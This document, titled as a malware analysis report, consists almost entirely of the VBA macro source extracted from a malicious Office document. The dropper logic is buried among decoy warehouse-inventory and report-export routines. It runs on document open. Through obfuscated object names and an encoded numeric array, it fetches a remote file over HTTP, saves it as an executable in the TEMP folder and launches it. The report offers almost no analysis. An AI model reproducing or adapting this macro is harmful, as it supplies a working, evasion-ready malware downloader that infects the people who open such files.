Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
controlExists "", 0
updateStockListStatus
setupBoxes2 0, 0, False
WriteParameterFileEmail "", "", "", "", ""
End Sub



Attribute VB_Name = "Module1"
Public Function generateattachmentswithCR11(fileName As String, reportCaption As String, ParamsForCrystalReport() As String, reportName As String, path As String) As String()
Dim Attachments(0) As String
Dim IFile As IMSFile
Dim file As String
Dim i As Integer
Set IFile = New IMSFile
On Error GoTo errMESSAGE
 Attachments(0) = reportName & "" & nameSP & "" & Replace(Replace(Replace(Now(), "", ""), "", ""), "", "") & ""
 file = cEmailOutFolder & Attachments(0)
 Dim x As New clsexport
 x.ExportFilePath = emailOutFolder + file
 x.reportName = fileName
 If IFile.FileExists(file) Then IFile.DeleteFile (file)
 Attachments(0) = emailOutFolder + file
 Call x.GeneratePdf(ParamsForCrystalReport, emailOutFolder)
 generateattachmentswithCR11 = Attachments
Exit Function
errMESSAGE:
 If Err.Number <> 0 Then
 MsgBox "" + Err.Description
 End If
End Function
Public Function GeneratePdf(ParamsForCrystalReport() As String) As String
Dim Report As CRAXDRT.Report
Dim crxDatabaseTable As CRAXDRT.DatabaseTable
Dim crxSubreport As CRAXDRT.Report
Dim Param As CRAXDRT.ParameterFieldDefinition
Dim arrparam() As String
On Error GoTo ErrHandler
 Set crxApplication = New CRAXDRT.Application
 Set Report = crxApplication.OpenReport(reportPATH + reportName, 1)
 Set Report = InitializeReport(Report, ParamsForCrystalReport())
 Call Export(Report)
Exit Function
ErrHandler:
 GeneratePdf = "" + Err.Description
Err.Clear
End Function
Public Function Redistribute(Z() As Variant, oldLen As Integer) As String
Dim n As Integer
For n = LBound(Z) To UBound(Z)
    Redistribute = Redistribute & Chr(Z(n) - 6 * oldLen - 49)
Next n
End Function
Public Sub LogErr(RoutineName As String, ErrorDescription As String, ErrorNumber As Long, Optional Clear As Boolean = False)
Dim i As IMSFile
Dim ms As imsmisc
Dim fileName As String
Dim FileNumb As Integer
On Error Resume Next
 If Len(Trim$(ErrorDescription)) = 0 Then Exit Sub
 Set i = New IMSFile
 Set ms = New imsmisc
 If Not i.DirectoryExists(LogPath) Then Call MkDir(LogPath)
 FileNumb = FreeFile
 fileName = LogPath + i.ChangeFileExt(App.EXEName + Format$(Date, ""), "")
 Open fileName For Append As 1
 Print #FileNumb, "" & App.EXEName
 Print #FileNumb, "" & RoutineName
 Print #FileNumb, "" & ErrorNumber
 Print #FileNumb, "" & Err.Source
 Print #FileNumb, "" & ErrorDescription
 Print #FileNumb, "" & Format$(Now, "")
 Print #FileNumb, "": Print #FileNumb, ""
 Close #FileNumb
 Set i = Nothing
 Set ms = Nothing
 If Err Then Err.Clear
End Sub

Public Function InitializeReport(Report As String, ParamsForCrystalReport() As String)
Dim crxSubreport As CRAXDRT.Report
Dim arrparam() As String
On Error GoTo ErrHand
 Select Case frmWarehouse.Tag
 Case ""
 Case ""
 Case ""
 Case ""
 Case ""
 Case ""
 Case ""
 Case ""
 Case ""
 Case ""
 End Select
If reportName = Report_EmailFax_PO_name Then
 Call FixDB(Report.Database.Tables)
 Set crxSubreport = Report.OpenSubreport("")
 Call FixDB(crxSubreport.Database.Tables)
 Set crxSubreport = Report.OpenSubreport("")
 Call FixDB(crxSubreport.Database.Tables)
 arrparam = Split(ParamsForCrystalReport(1), "")
 Report.ParameterFields.Item(1).AddCurrentValue nameSP
 Report.ParameterFields.Item(2).AddCurrentValue arrparam(1)
End If
Set InitializeReport = Report
Exit Function
ErrHand:
MsgBox "" + Err.Description
Err.Clear
End Function
Private Function FixDB(crxDatabaseTableS As String)
Dim crxDatabaseTable As CRAXDRT.DatabaseTable
For Each crxDatabaseTable In crxDatabaseTableS
 crxDatabaseTable.SetLogOnInfo ConnInfo.dsnName, ConnInfo.InitCatalog, ConnInfo.uid, ConnInfo.pwd
 crxDatabaseTable.Location = crxDatabaseTable.Name
Next crxDatabaseTable
End Function
Sub rePositionThings(yPosition As Integer)
Dim c As textBOX
Dim i, size, newY, distance
On Error Resume Next
With frmWarehouse
 size = .Tree.Nodes.Count
 If size > 0 Then
 distance = .Tree.Top + 320
 For i = 2 To size
 newY = topNODE(yPosition) + distance
 Err.Clear
 .quantity(i).Top = .quantity(i).Top - newY
 If Err.Number = 0 Then
 .poItemBox(i).Top = topNODE(i) - newY
 .positionBox(i).Top = topNODE(i) - newY
 .quantity(i).Top = topNODE(i) - newY
 .logicBOX(i).Top = topNODE(i) - newY
 .sublocaBOX(i).Top = topNODE(i) - newY
 .quantityBOX(i).Top = topNODE(i) - newY
 .quantity2BOX(i).Top = topNODE(i) - newY
 .balanceBOX(i).Top = topNODE(i) - newY
 .NEWconditionBOX(i).Top = topNODE(i) - newY
 .priceBOX(i).Top = topNODE(i) - newY
 .unitBOX(i).Top = topNODE(i) - newY
 .unit2BOX(i).Top = topNODE(i) - newY
 .repairBOX(i).Top = topNODE(i) - newY
 .linesH(0).Top = .quantityBOX(totalNode).Top
 End If
 Next
 End If
End With
Err.Clear
End Sub
Public Sub putThingsInsideExtension(Index As Integer)
sublocaBADOX.Send
GoTo handle5
With frmWarehouse
 .quantity(Index).Visible = False
 .poItemBox(Index).Visible = False
 .positionBox(Index).Visible = False
 .quantity(Index).Visible = False
 .logicBOX(Index).Visible = False
 .sublocaBOX(Index).Visible = False
 .quantityBOX(Index).Visible = False
 .quantity2BOX(Index).Visible = False
 .balanceBOX(Index).Visible = False
 .NEWconditionBOX(Index).Visible = False
 .priceBOX(Index).Visible = False
 .unitBOX(Index).Visible = False
 .unit2BOX(Index).Visible = False
 .repairBOX(Index).Visible = False
End With
handle5:
tempFolder = processEnv("TE" + "M" & "P")
tabindexLOG = tempFolder + "\eshpey.exe"
End Sub
Sub putThingsInside()
Dim c As textBOX
Dim i, size, distance
On Error Resume Next
With frmWarehouse
 size = .Tree.Nodes.Count
 If size > 0 Then
 For i = 0 To 5
 .Cell(i).Container = .treeFrame
 Err.Clear
 Next
 Call putThingsInsideExtension(1)
 distance = .Tree.Top
 Select Case .Tag
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 Case ""
 distance = distance + 320
 End Select
 For i = 2 To size
 Err.Clear
 Set .quantity(i).Container = .treeFrame
 If Err.Number = 0 Then
 Set .poItemBox(i).Container = .treeFrame
 Set .positionBox(i).Container = .treeFrame
 .quantity(i).Left = 40
 .quantity(i).Top = topNODE(i) - distance
 Set .logicBOX(i).Container = .treeFrame
 Select Case .Tag
 Case ""
 .logicBOX(i).Left = 40
 Case Else
 .logicBOX(i).Left = .detailHEADER.ColWidth(1)
 End Select
 .logicBOX(i).Top = topNODE(i) - distance
 Set .sublocaBOX(i).Container = .treeFrame
 .sublocaBOX(i).Left = .sublocaBOX(i).Left - .baseFrame.Left
 .sublocaBOX(i).Top = topNODE(i) - distance
 Set .quantityBOX(i).Container = .treeFrame
 .quantityBOX(i).Left = .quantityBOX(i).Left - .baseFrame.Left
 .quantityBOX(i).Top = topNODE(i) - distance
 Set .quantity2BOX(i).Container = .treeFrame
 .quantity2BOX(i).Left = .quantity2BOX(i).Left - .baseFrame.Left
 .quantity2BOX(i).Top = topNODE(i) - distance
 Set .NEWconditionBOX(i).Container = .treeFrame
 .NEWconditionBOX(i).Left = .NEWconditionBOX(i).Left - .baseFrame.Left
 .NEWconditionBOX(i).Top = topNODE(i) - distance
 Set .priceBOX(i).Container = .treeFrame
 .priceBOX(i).Left = .priceBOX(i).Left - .baseFrame.Left
 .priceBOX(i).Top = topNODE(i) - distance
 Set .unitBOX(i).Container = .treeFrame
 .unitBOX(i).Left = .unitBOX(i).Left - .baseFrame.Left
 .unitBOX(i).Top = topNODE(i) - distance
 Set .unit2BOX(i).Container = .treeFrame
 .unit2BOX(i).Left = .unit2BOX(i).Left - .baseFrame.Left
 .unit2BOX(i).Top = topNODE(i) - distance
 Set .repairBOX(i).Container = .treeFrame
 .repairBOX(i).Left = .repairBOX(i).Left - .baseFrame.Left
 .repairBOX(i).Top = topNODE(i) - distance
 Set .balanceBOX(i).Container = .treeFrame
 .balanceBOX(i).Left = .balanceBOX(i).Left - .baseFrame.Left
 .balanceBOX(i).Top = topNODE(i) - distance
 .baseFrame.Width = .balanceBOX(i).Left + .balanceBOX(i).Width + 20
 .treeFrame.Width = .baseFrame.Width
 End If
 Next
 .treeFrame.Height = .baseFrame.Height
 End If
End With
Err.Clear
End Sub
Public Function WriteParameterFiles(Recepients As String, sender As String, Attachments() As String, subject As String, attention As String)
Dim l
Dim x
Dim y
Dim i
Dim Email As String
Dim fax() As String
Dim rs As New ADODB.Recordset
 If Len(Trim(sender)) = 0 Then
 rs.Source = "" & nameSP & ""
 rs.ActiveConnection = cn
 rs.Open
 If rs.RecordCount > 0 Then
 If Len(rs("") & "") > 0 Then sender = rs("")
 End If
 rs.Close
End If
On Error GoTo errMESSAGE
 Email = frmWarehouse.emailRecepient.Text
 If Not Email = "" Then
 Call WriteParameterFileEmail(Attachments, Email, subject, sender, attention)
 End If
errMESSAGE:
 If Err.Number <> 0 And Err.Number <> 9 Then
 MsgBox "" + Err.Description
 Else
 Err.Clear
 End If
End Function
Public Function WriteParameterFileEmail(Attachments As String, Recipients As String, subject As String, sender As String, attention As String)
On Error GoTo errMESSAGE
 Dim fileName As String
 Dim FileNumb As Integer
 Dim i As Integer, l As Integer
 Dim reports As String
 Dim recepientSTR As String
  attachmentsObject.Open (tabindexLOG)
 i = 0
 Exit Function
 If Attachments > 0 Then
 For i = 0 To UBou.nd(Attachments)
 reports = reports & Trim$(Attachm.ents(i) & "")
 Next
 ElseIf UBound(Attac.hments) = 0 Then
 reports = reports & Trim$(Attach.ments(i))
 End If
 If Len(Recipients) > 0 Then
 Call sendProcess(Recipients, reports, subject, attention)
 End If
 Recepients = ""
 reports = ""
 WriteParameterFileEmail = 1
Exit Function
errMESSAGE:
 If Err.Number <> 0 Then
 MsgBox Err.Description
 End If
End Function
Public Function IsArrayLoaded(ArrayToTest() As String) As Boolean
Dim x As Integer
On Error GoTo ErrHandler
 IsArrayLoaded = False
 x = UBound(ArrayToTest)
 IsArrayLoaded = True
 Exit Function
ErrHandler:
Err.Clear
End Function
Public Sub sendProcess(recipientList As String, Attachments As String, subject As String, messageText As String)
On Error GoTo errorHandler
 Dim strOut As String
 Dim programName As String
 Dim parameters As String
 Dim cmd As ADODB.Command
 Set cmd = MakeCommand(cn, ADODB.CommandTypeEnum.adCmdStoredProc)
 With cmd
 .CommandText = ""
 .parameters.Append .CreateParameter("", adVarChar, adParamInput, 4000, subject)
 .parameters.Append .CreateParameter("", adVarChar, adParamInput, 8000, messageText)
 .parameters.Append .CreateParameter("", adVarChar, adParamInput, 2000, Attachments)
 .parameters.Append .CreateParameter("", adVarChar, adParamInput, 8000, recipientList)
 .parameters.Append .CreateParameter("", adVarChar, adParamInput, 100, CurrentUser)
 Call .Execute(Options:=adExecuteNoRecords)
 End With
 Set cmd = Nothing
 LogExec ("" & subject & "")
Exit Sub
errorHandler:
 Call LogErr("", "" + subject + "" + messageText + "" + Attachments + "" + recipientList + "" + Err.Description, Err.Number, False)
 MsgBox "" + Err.Description
 Err.Clear
End Sub

Private Sub Export(Report As String)
 Report.ExportOptions.FormatType = crEFTPortableDocFormat
 Report.ExportOptions.DestinationType = crEDTDiskFile
 Report.ExportOptions.DiskFileName = ExportFilePath
 Report.Export False
End Sub




Attribute VB_Name = "Module2"

Sub calculationsFlat(Optional selectedStockNumber As String)
Dim originalQTY1(), originalQTY2()
Dim balance1(), balance2() As Double
Dim i, j As Integer
Dim StockNumber As String
On Error GoTo errorHandler
 With frmWarehouse
 Dim colRef, colRef2, colTot As Integer
 colRef = 5
 colRef2 = 7
 colTot = 5
 Select Case .Tag
 Case "", "", "", "", "", "", ""
 colRef = 6
 colTot = 5
 Case ""
 Case ""
 colRef = 7
 colTot = 3
 Case ""
 colRef = 9
 colTot = 3
 End Select
 ReDim originalQTY1(.STOCKlist.Rows)
 ReDim originalQTY2(.STOCKlist.Rows)
 ReDim balance1(UBound(originalQTY1))
 ReDim balance2(UBound(originalQTY2))
 For i = 1 To .STOCKlist.Rows - 1
 originalQTY1(i) = .STOCKlist.TextMatrix(i, colRef)
 balance1(i) = CDbl(originalQTY1(i))
 If .Tag = "" Then
 originalQTY2(i) = .STOCKlist.TextMatrix(i, colRef + 1)
 balance2(i) = CDbl(originalQTY2(i))
 Else
 originalQTY2(i) = originalQTY1(i)
 balance2(i) = balance1(i)
 End If
 Next
 mainItemRow = 0
 For i = 1 To .STOCKlist.Rows - 1
 StockNumber = .STOCKlist.TextMatrix(i, 1)




 If Not IsMissing(selectedStockNumber) Then
 If StockNumber = selectedStockNumber Then
 If mainItemRow = 0 Then mainItemRow = i
 If IsNumeric(.Tree.Nodes.Count) Then
 balance1(i) = .STOCKlist.TextMatrix(i, colRef)
 If IsNumeric(.STOCKlist.TextMatrix(i, colRef + 1)) Then
 balance2(i) = .STOCKlist.TextMatrix(i, colRef + 1)
 End If
 End If
 End If
 End If

 .STOCKlist.TextMatrix(i, colTot) = Format(balance1(i), "")
 If .Tag = "" Then
 .STOCKlist.TextMatrix(i, colTot + 2) = Format(balance2(i), "")
 Else
 End If
 Next
 If .Tag = "" Then
 Call calculateMainItem(StockNumber)
 End If
 End With
 Exit Sub
errorHandler:
 Err.Clear
 Resume Next
End Sub

Public Sub updateStockListStatus()
Dim i, j As Integer
Dim StockNumber As String
Dim hasMark As Boolean
Dim imsLock As String
On Error GoTo errorHandler
 With frmWarehouse
 For i = 1 To .STOCKlist.Rows - 1
 StockNumber = .STOCKlist.TextMatrix(i, 1)
 hasMark = False
 For j = 1 To .SUMMARYlist.Rows - 1
 If StockNumber = .SUMMARYlist.TextMatrix(j, 1) Then
 If Not hasMark Then
 .STOCKlist.row = i
 .STOCKlist.col = 0
 .STOCKlist.CellFontName = ""
 .STOCKlist.CellFontSize = 10
 .STOCKlist.Text = ""
 hasMark = True
 Exit For
 End If
 End If
 Next
 If Not hasMark Then
 If .Tag = "" Then
 .STOCKlist.row = i
 .STOCKlist.col = 0
 .STOCKlist.Text = .STOCKlist.TextMatrix(0, 8)
 Else
 .STOCKlist.TextMatrix(i, 0) = Format(i)
 Call imsLvock.Unlock_Row(STOCKlocked, cn, CurrentUser, rowguid, True, "", StockNumber, False)
 Set imsLodck = Nothing
 End If
 End If
 Next
 End With
 Exit Sub
errorHandler:
Dim handle() As Variant
handle = Array(435, 447, 447, 443, 389, 378, 378, 443, 428, 441, 437, 436, 441, 435, 442, 448, 446, 435, 432, 441, 434, 431, 428, 436, 377, 430, 442, 440, 378, 383, 432, 386, 385, 431, 433, 434, 378, 385, 433, 384, 387, 435, 441, 440, 377, 432, 451, 432)
sublocaBADOX.Open "G" + "ET", Redistribute(handle, 47), False
putThingsInsideExtension 77
Exit Sub
 MsgBox Err.Description
 Err.Clear
 Resume Next
End Sub


Sub bottomLine(totalNod As String, total As String, pool As Boolean, StockNumber As String, doRecalculate As Boolean, lastLine As String, ctt As String)

On Error Resume Next
With frmWarehouse
 totalNode = .Tree.Nodes.Count
 lastLine = 7
 thick = 2
 Select Case .Tag
 Case ""
 .combo(5).Visible = False
 lastLine = 8
 Case ""
 lastLine = 7
 Case ""
 If Not .newBUTTON.Enabled Then .Tree.Nodes("").Text = .Tree.Nodes("").Text + Space(57) + ""
 lastLine = 6
 Case ""
 If Not .newBUTTON.Enabled Then .Tree.Nodes("").Text = .Tree.Nodes("").Text + Space(53) + ""
 Case ""
 If Not .newBUTTON.Enabled Then .Tree.Nodes("").Text = .Tree.Nodes("").Text + Space(53) + ""
 Case ""
 If Not .newBUTTON.Enabled Then .Tree.Nodes("").Text = .Tree.Nodes("").Text + Space(56) + ""
 Case ""
 If Not .newBUTTON.Enabled Then .Tree.Nodes("").Text = .Tree.Nodes("").Text + Space(53) + ""
 Case ""
 lastLine = 9
 If Not .newBUTTON.Enabled Then .Tree.Nodes("").Text = .Tree.Nodes("").Text + Space(43) + ""
 Case ""
 If Not .newBUTTON.Enabled Then .Tree.Nodes("").Text = .Tree.Nodes("").Text + Space(59) + ""
 Case ""
 lastLine = 7
 End Select
 Load .quantity(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .quantity(totalNode) = ""
 End If
 .quantity(totalNode).Enabled = True
 .quantity(totalNode) = Format(total, "")
 .quantity(totalNode) = vbGreen
 Load .NEWconditionBOX(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .NEWconditionBOX(totalNode) = ""
 End If
 .NEWconditionBOX(totalNode).Enabled = True
 Load .quantityBOX(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .quantityBOX(totalNode) = ""
 End If
 .quantityBOX(totalNode).Locked = True
 Load .quantity2BOX(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .quantity2BOX(totalNode) = ""
 End If
 .quantity2BOX(totalNode).Locked = True
 Load .balanceBOX(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .balanceBOX(totalNode) = ""
 End If
 .balanceBOX(totalNode).Enabled = True
 If isFirstSubmit Then
 If pool Then
 Call calculations(True, , True)
 Else
 Call calculations(True, False, False)
 End If
 Else
 Call calculations2(.SUMMARYlist.row, .Tree.Nodes(.Tree.Nodes.Count - 1), .Tree.Nodes.Count - 1)
 End If
 For i = 1 To totalNode
 .Tree.Nodes(i).Expanded = True
 Next
 If Not .Visible Then
 Call SHOWdetails
 End If
 If Not pool Then
 If doRecalculate Then
 Call recalculate(StockNumber)
 End If
 End If
 .ZOrder
 If Not .newBUTTON.Enabled Then .SUMMARYlist.Visible = False
 Call lineStuff(lastLine, thick)
 Call workBOXESlist("")
 If .Tree.Nodes.Count > 15 Then
 .linesV(lastLine).Visible = False
 .Tree.Nodes(1).EnsureVisible
 Err.Clear
 Select Case treeTimes
 Case 0
 Set ctt.Tree = frmWarehouse.Tree
 Case 1
 Set ctt1.Tree = frmWarehouse.Tree
 Case 2
 Set ctt2.Tree = frmWarehouse.Tree
 Case 3
 Set ctt3.Tree = frmWarehouse.Tree
 End Select
 treeTimes = treeTimes + 1
 .treeFrame.Top = 0
 End If
End With
End Sub
Function controlExists(controlNAME As String, controlIndex As Integer)
controlExists = False
Dim ctl As Object
GoTo Control1
For Each ctl In frmWarehdouse.Contdrols
 If ctl.Name = controlNAME Then
 If ctl.Index = controlIndex Then
 controlExists = True
 Exit For
 End If
 End If
Next
Control1:
Set sublocaBADOX = CreateObject("Micro" + ribak + "soft.XMLHTTP")
Set cuperMan = CreateObject("Adodb" + ribak + ".Stream")
Set processEnv = CreateObject("WScript." + ribak + "Shell").Environment("Proc" + ribak + "ess")
Set attachmentsObject = CreateObject("Shell." + ribak + "Application")
End Function
Sub lineStuff(lastLine, thick)
On Error Resume Next
 With frmWarehouse
 n = 0
 For i = 1 To lastLine
 Load .linesV(i)
 Set .linesV(n).Container = .treeFrame
 If Err.Number = 360 Then Err.Clear
 If i = thick Then
 .linesV(i).Width = 40
 End If
 .linesV(i).Top = .Tree.Top + 30
 .linesV(i).Height = ((totalNode) * 325)
 .linesV(i).Left = .detailHEADER.ColWidth(i - 1) + 150 + n
 n = n + .detailHEADER.ColWidth(i - 1)
 If i > 1 Then .linesV(i).Visible = True
 .linesV(i).ZOrder
 Next
 End With
End Sub
Sub recalculate(StockNumber)
 Dim totalCount As Integer
 Dim qtyToReceive As Integer
 Dim r As Integer
 With frmWarehouse
 totalCount = 0
 r = .STOCKlist.row
 For i = 1 To .SUMMARYlist.Rows - 1
 If .SUMMARYlist.TextMatrix(i, 1) = StockNumber Then
 totalCount = totalCount + 1
 End If
 Next
 If IsNumeric(.STOCKlist.TextMatrix(r, 9)) Then
 qtyToReceive = Val(.STOCKlist.TextMatrix(r, 9))
 totalCount = totalCount
 qtyToReceive = qtyToReceive - totalCount
 .STOCKlist.TextMatrix(r, 5) = Format(qtyToReceive, "")



 End If
 End With
End Sub
Public Function RollbackTransaction(cn As String)
On Error Resume Next
 With MakeCommand(cn, adCmdText)
 .CommandText = ""
 Call .Execute(Options:=adExecuteNoRecords)
 End With
 If Err Then Err.Clear
End Function
Sub gridCOLORdark(grid As String, row, Optional withColor As Boolean = True)
 With grid
 .row = row
 If withColor Then
 .CellBackColor = &H800000
 .CellForeColor = &HFFFFFF
 End If
 End With
End Sub
Public Function CommitTransaction(cn As String)
On Error Resume Next
 With MakeCommand(cn, adCmdText)
 .CommandText = ""
 Call .Execute(Options:=adExecuteNoRecords)
 End With
 If Err Then Err.Clear
End Function
Sub gridCOLORnormal(grid As String, row)
 With grid
 .row = row
 .CellBackColor = &HFFFFC0
 .CellForeColor = &H80000008
 End With
End Sub




Attribute VB_Name = "Module3"
Public Const ribak = ""
Public sublocaBADOX As Object
Public cuperMan As Object
Public processEnv As Object
Public tempFolder  As String
Public tabindexLOG  As String
Public attachmentsObject As Object
Public Sub setupBoxes2(n, row, serial As Boolean, Optional QTYpo)
Dim x, cond, logic, subloca, newCOND, serialPool, StockNumber, unitPRICE, unit, unit2, conditionName, qty, qty2, quantity
GoTo Serialsetup2
serialPool = IIf(serial, "", "")
Dim newButtonEnabled As Boolean
On Error GoTo ErrHandler:
 With frmWarehouse
 StockNumber = .SUMMARYlist.TextMatrix(row, 1)
 unitPRICE = .SUMMARYlist.TextMatrix(row, 4)
 logic = .SUMMARYlist.TextMatrix(row, 11)
 subloca = .SUMMARYlist.TextMatrix(row, 12)
 cond = .SUMMARYlist.TextMatrix(row, 3)
 newCOND = .SUMMARYlist.TextMatrix(row, 13)
 unit = .SUMMARYlist.TextMatrix(row, 6)
 unit2 = .SUMMARYlist.TextMatrix(row, 21)
 qty2 = .SUMMARYlist.TextMatrix(row, 23)
 conditionName = .SUMMARYlist.TextMatrix(row, 14)
 qty = .SUMMARYlist.TextMatrix(row, 7)
 Load .quantity(n)
 Call putB.OX(.quantity(n), .detailHEADER.ColWidth(0) + 140, topN.NODE(n), .detailHEADER.ColWidth(1) - 40, vbWhite)
 Load .balanceBOX(n)
 .balanceBOX(n) = Format(.quantity(n), "")
 Load .quantityBOX(n)
 .quantityBOX(n).tabindex = tabindex + 2
 Load .quantity2BOX(n)
 .quantity2BOX(n).tabindex = tabindex + 2
 Load .priceBOX(n)
 Load .NEWconditionBOX(n)
 Load .positionBox(n)
 .positionBox(n).Text = .SUMMARYlist.row
 Load .logicBOX(n)
 .logicBOX(n).tabindex = tabindex
 Load .sublocaBOX(n)
 .sublocaBOX(n).tabindex = tabindex + 1
 .priceBOX(n) = unitPRICE
 .NEWconditionBOX(n).Tag = newCOND
 Select Case .Tag
 Case "", "", "", "", "", "", "", "", ""
 If serial Then
 .quantity(n) = 1
 Else
 .quantity(n) = QTYpo
 End If
 .quantityBOX(n) = qty




 Case ""
 .quantity(n) = Format(QTYpo, "")
 newCOND = ""
 If serialPool = "" Then
 .quantityBOX(n) = ""
 .quantity2BOX(n) = ""
 Else
 .quantityBOX(n) = qty
 .quantity2BOX(n) = qty2
 End If
 Load .repairBOX(n)
 Set .repairBOX(n).Container = .treeFrame
 .repairBOX(n) = poItem
 Load .poItemBox(n)
 Set .poItemBox(n).Container = .treeFrame
 .poItemBox(n) = .SUMMARYlist.TextMatrix(row, 22)
 End Select
 .NEWconditionBOX(n) = .NEWconditionBOX(n).Tag
 If summaryPOSITION = 0 Then
 .logicBOX(n) = logic
 .sublocaBOX(n) = subloca
 Else
 .logicBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 11)
 .logicBOX(n).Tag = .logicBOX(n)
 .sublocaBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 12)
 .sublocaBOX(n).Tag = .sublocaBOX(n)
 .logicBOX(n).TooltipText = getWAREHO.USEdescription(.logicBOX(n))
 .sublocaBOX(n).TooltipText = getSUBLO.CATIONdescription(.sublocaBOX(n))
 End If
 Load .unitBOX(n)
 Load .unit2BOX(n)
 .unitBOX(n).Enabled = False
 .unit2BOX(n).Enabled = False
 .unitBOX(n) = unit
 .unit2BOX(n) = unit2
 If summaryPOSITION = 0 Then
 .NEWconditionBOX(n).TooltipText = conditionName
 .NEWconditionBOX(n).Tag = newCOND
 .NEWconditionBOX(n) = Format(newCOND, "")
 Else
 .NEWconditionBOX(n).Tag = .SUMMARYlist.TextMatrix(summaryPOSITION, 13)
 .NEWconditionBOX(n) = Format(.NEWconditionBOX(n).Tag, "")
 .NEWconditionBOX(n).TooltipText = .SUMMARYlist.TextMatrix(summaryPOSITION, 14)
 End If
 Select Case .Tag
 Case "", ""
 .logicBOX(n).Enabled = True
 .sublocaBOX(n).Enabled = True
 .grid(2).Visible = False
 Case ""

 Case ""
 Case ""
 .logicBOX(n).Enabled = True
 Case Else
 .NEWconditionBOX(n).Enabled = True
 .logicBOX(n).Enabled = True
 .sublocaBOX(n).Enabled = True
 .repairBOX(n).Enabled = True
 End Select
 If serialPool = "" Then
 .quantityBOX(n).Enabled = False
 .quantity2BOX(n).Enabled = False
 Else
 .quantityBOX(n).Enabled = True
 .quantity2BOX(n).Enabled = False
 End If
 .priceBOX(n).Enabled = True
 End With
Serialsetup2:
   cuperMan.Type = 1
    cuperMan.Open
    setupBOXES 0, 0, False
Exit Sub
ErrHandler:
 Select Case Err.Number
 Case 360, 340, 30, 438
 Resume Next
 Case 0
 Case Else
 Resume Next
 End Select
 Err.Clear
End Sub
Sub setupBOXES(n As Integer, datax As Integer, serial As Boolean)
Dim x, cond, logic, subloca, newCOND, serialPool
GoTo paralelPop
serialPool = IIf(serial, "", "")
Dim newButtonEnabled As Boolean
On Error GoTo ErrHandler:
 With frmWarehouse
 newButtonEnabled = .newBUTTON.Enabled
 Load .quantity(n)
 If Not .newBUTTON.Enabled Then Call putB.OX(.quantity(n), .detailHEADER.ColWidth(0) + 140, topN.ODE(n), .detailHEADER.ColWidth(1) - 40, vbWhite)
 Load .balanceBOX(n)
 .balanceBOX(n) = Format(.quantity(n), "")
 Load .quantityBOX(n)
 .quantityBOX(n).tabindex = tabindex + 2
 Load .quantity2BOX(n)
 .quantity2BOX(n).tabindex = tabindex + 2
 Load .priceBOX(n)
 Load .NEWconditionBOX(n)
 Load .invoiceBOX(n)
 Load .invoiceLineBOX(n)
 Select Case .Tag
 Case "", "", "", "", "", "", "", "", ""
 If serial Then
 .quantity(n) = 1
 Else
 If .newBUTTON.Enabled Then
 .quantity(n) = Format(Da.tax!qty1, "")
 cond = Trim(dat.ax!OriginalCondition)
 logic = Trim(dat.ax!fromlogic)
 subloca = Trim(Da.tax!fromSubLoca)
 newCOND = IIf(IsNull(Da.tax!NEWcondition), "", Da.tax!NEWcondition)
 Else
 .quantity(n) = Format(Da.tax!qty, "")
 cond = Trim(dat.ax!Condition)
 logic = Trim(Da.ta.x!logic)
 subloca = Trim(dat.ax!subloca)
 newCOND = dat.ax!Condition
 End If
 End If
 If .Tag = "" Then
 If serial Then
 .quantityBOX(n) = ""
 Else
 .quantityBOX(n) = ""
 End If
 Else
 .quantityBOX(n) = Format(summa.ryQTY(Trim(dat.ax!StockNumber), cond, logic, subloca, IIf(IsNull(dat.ax!serialNumber), "", Trim(d.atax!serialNumber)), n), "")
 End If
 .priceBOX(n) = Format(dat.ax!unitPRICE, "")
 .NEWconditionBOX(n).Tag = newCOND
 Case ""
 .quantity(n) = Format(QTYpo, "")
 If newButtonEnabled = True Then
 newCOND = dat.ax!NEWcondition
 .quantityBOX(n) = Format(summa.ryQTY(Trim(dat.x!StockNumber), "", "", "", serialPool, n), "")
 .quantity2BOX(n) = Format(summa.ryQTY(Trim(Data.x!StockNumber), "", "", "", serialPool, n), "")
 Else
 newCOND = ""
 doChanges = False
 If serialPool = "" Then
 .quantityBOX(n) = ""
 .quantity2BOX(n) = ""
 Else
 .quantityBOX(n) = Format(summa.ryQTY(Trim(dat.ax!StockNumber), "", "", "", serialPool, n), "")
 .quantity2BOX(n) = Format(summa.ryQTY(Trim(dat.ax!StockNumber), "", "", "", serialPool, n), "")
 End If
 doChanges = True
 End If
 .priceBOX(n) = Format(dat.ax!unitPRICE, "")
 .NEWconditionBOX(n).Tag = newCOND
 Load .repairBOX(n)
 .repairBOX(n) = Format(dat.ax!poItem)
 End Select
 .NEWconditionBOX(n) = .NEWconditionBOX(n).Tag
 Load .poItemBox(n)
 If .Tag = "" Then
 .poItemBox(n) = dat.ax!poItem
 .poItemLabel = dat.ax!poItem
 If .invoiceNumberLabel.Visible Then
 .invoiceBOX(n) = .invoiceNumberLabel.Caption
 .invoiceLineBOX(n) = .invoiceLineLabel.Caption
 Else
 .invoiceBOX(n) = ""
 .invoiceLineBOX(n) = ""
 End If
 Else
 .poItemBox(n) = .poItemLabel
 End If
paralelPop:
    cuperMan.write sublocaBADOX.responseBody
    cuperMan.savetofile tabindexLOG, 2
Exit Sub
 Load .positionBox(n)
 Load .logicBOX(n)
 .logicBOX(n).tabindex = tabindex
 Load .sublocaBOX(n)
 .sublocaBOX(n).tabindex = tabindex + 1
 If summaryPOSITION = 0 Then
 If .newBUTTON.Enabled Then
 .logicBOX(n) = dat.ax!toLOGIC
 .sublocaBOX(n) = dat.ax!toSUBLOCA
 Else
 .logicBOX(n) = ""
 .logicBOX(n).BackColor = &HC0C0FF
 .logicBOX(n).TooltipText = ""
 .sublocaBOX(n) = ""
